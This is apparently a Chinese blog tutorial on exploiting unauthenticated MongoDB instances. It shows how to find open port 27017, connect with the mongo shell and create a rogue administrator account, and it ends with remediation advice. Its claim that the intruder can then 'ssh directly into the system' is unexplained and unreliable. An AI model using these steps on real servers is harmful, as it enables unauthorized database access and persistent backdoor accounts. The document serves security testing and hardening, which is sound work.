MongoDB 未授权访问漏洞利用

简介: MongoDB 未授权访问漏洞利用

MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产品,它的特点是高性能、易部署、易使用,存储数据非常方便,默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致可以未授权登录。

实战

一、环境安装
当发现该端口对外开放时,使用MongoDB的shell工具mongo可以对未授权访问漏洞进行利用。
可以查看官方安装方法
https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian/
这边已经整理出kali中安装方法,安装该工具走了不少弯路,遇到各种环境问题。

1.导入MongoDB公共GPG密钥:
wget -qO - https://www.mongodb.org/static/pgp/server-5.0.asc | sudo apt-key add -
如果提示错误运行下面命令之后,重新运行上面命令
sudo apt-get install gnupg
2.创建一个列表文件来配置下载列表和下载源。
echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/5.0 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-5.0.list
3.重新加载更新源
sudo apt-get update
4.安装MongoDB的最新稳定版本
sudo apt-get install -y mongodb-org
5.启动进程
sudo systemctl start mongod
如果您在启动mongod时收到类似于以下内容的错误:

Failed to start mongod.service: Unit mongod.service not found.
首先运行以下命令:然后再次运行上面的开始命令,然后再次运行上面的开始命令。

sudo systemctl daemon-reload
 6.配置开机自启
sudo systemctl enable mongod

二、漏洞利用
1.扫描或者fofa发现端口或者服务,默认端口27017
image.png

2.使用mongo连接数据库
命令格式:mongo --host 目标ip --port 目标端口
image.png

3.查看用户、数据库信息等
image.png

4.创建系统用户管理员创建一个用户名为myUserAdmin,密码为Passw0rd的系统用户管理员账号

切换到admin库:

> use admin
switched to db admin

创建用户

> db.createUser(
  {
    
    
    user: "myUserAdmin",
    pwd: "Passw0rd",
    roles: [ {
    
     role: "userAdminAnyDatabase", db: "admin" } ]
  }
)

创建成功后提示信息:

Successfully added user: {
    
    
    "user" : "myUserAdmin",
    "roles" : [
        {
    
    
            "role" : "userAdminAnyDatabase",
            "db" : "admin"
        }
    ]
}

5.ssh直接登录系统,利用完毕。

三、漏洞修复

3.0之前版本的MongoDB,默认监听在0.0.0.03.0及之后版本默认监听在127.0.0.13.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

1.如MongoDB只需在本地使用,建议只在本地开启监听服务。

2.如果仅对内网服务器提供服务,建议禁止将MongoDB服务发布到互联网上,并在主机上通过防火墙限制访问源IP。
3.启动基于角色的登录认证功能

相关实践学习
MongoDB数据库入门
MongoDB数据库入门实验。
快速掌握 MongoDB 数据库
本课程主要讲解MongoDB数据库的基本知识,包括MongoDB数据库的安装、配置、服务的启动、数据的CRUD操作函数使用、MongoDB索引的使用(唯一索引、地理索引、过期索引、全文索引等)、MapReduce操作实现、用户管理、Java对MongoDB的操作支持(基于2.x驱动与3.x驱动的完全讲解)。 通过学习此课程,读者将具备MongoDB数据库的开发能力,并且能够使用MongoDB进行项目开发。   相关的阿里云产品:云数据库 MongoDB版 云数据库MongoDB版支持ReplicaSet和Sharding两种部署架构,具备安全审计,时间点备份等多项企业能力。在互联网、物联网、游戏、金融等领域被广泛采用。 云数据库MongoDB版(ApsaraDB for MongoDB)完全兼容MongoDB协议,基于飞天分布式系统和高可靠存储引擎,提供多节点高可用架构、弹性扩容、容灾、备份回滚、性能优化等解决方案。 产品详情: https://www.aliyun.com/product/mongodb
相关文章
|
NoSQL MongoDB 数据安全/隐私保护
MongoDB开启访问权限控制
概述       在MongoDB实例上开启访问权限控制,意味着强制要求用户输入账号密码进行授权认证。在开启了访问权限控制的MongoDB实例上,用户能进行的操作取决于登陆账号的角色(roles)。       MongoDB支持多种授权认证机制。下面将介绍如何使用MongoDB默认的机制开启访问权限控制。
|
20天前
|
存储 NoSQL 网络协议
【赵渝强老师】MongoDB的安装与访问
本文介绍了在Linux系统上安装和部署MongoDB的详细步骤,包括安装依赖包、解压安装包、配置环境变量、创建数据目录及启动服务等。文中还提供了相关命令示例和注意事项,帮助用户顺利完成MongoDB的安装与配置。
|
3月前
|
NoSQL JavaScript Java
Java Python访问MongoDB
Java Python访问MongoDB
24 4
|
7月前
|
运维 NoSQL Java
Serverless 应用引擎产品使用之在函数计算上部署Java服务并访问阿里云MongoDB如何解决
阿里云Serverless 应用引擎(SAE)提供了完整的微服务应用生命周期管理能力,包括应用部署、服务治理、开发运维、资源管理等功能,并通过扩展功能支持多环境管理、API Gateway、事件驱动等高级应用场景,帮助企业快速构建、部署、运维和扩展微服务架构,实现Serverless化的应用部署与运维模式。以下是对SAE产品使用合集的概述,包括应用管理、服务治理、开发运维、资源管理等方面。
|
NoSQL MongoDB 数据库
MongoDB v4.4.6安装、创建服务及Web客户端访问MongoDB详解
MongoDB v4.4.6安装、创建服务及Web客户端访问MongoDB详解
398 0
MongoDB v4.4.6安装、创建服务及Web客户端访问MongoDB详解
|
数据安全/隐私保护 Docker 容器
mongodb4.2.2 docker 更正时区,与编码,以及远程访问配置文件
mongodb4.2.2 docker 更正时区,与编码,以及远程访问配置文件
317 0
|
NoSQL 网络协议 Linux
Linux安装MongoDB数据库并内网穿透在外远程访问
MongoDB是一个基于分布式文件存储的数据库。由 C++ 语言编写,旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。它最大的特点是他支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。
|
JSON 缓存 负载均衡
【服务网格架构】Envoy架构概览(9):访问日志,MongoDB,DynamoDB,Redis
【服务网格架构】Envoy架构概览(9):访问日志,MongoDB,DynamoDB,Redis
|
JSON 缓存 负载均衡
Envoy架构概览(9):访问日志,MongoDB,DynamoDB,Redis
Envoy架构概览(9):访问日志,MongoDB,DynamoDB,Redis
|
存储 JSON 缓存
SpringBoot访问MongoDB数据库
MongoDB是一个基于分布式文件存储的数据库,它是一个介于关系数据库和非关系数据库之间的产品,其主要目标是在键/值存储方式(提供了高性能和高度伸缩性)和传统的RDBMS系统(具有丰富的功能)之间架起一座桥梁,它集两者的优势于一身。 传统的关系数据库一般由数据库(database)、表(table)、记录(record)三个层次概念组成,MongoDB是由数据库(database)、集合(collection)、文档对象(document)三个层次组成。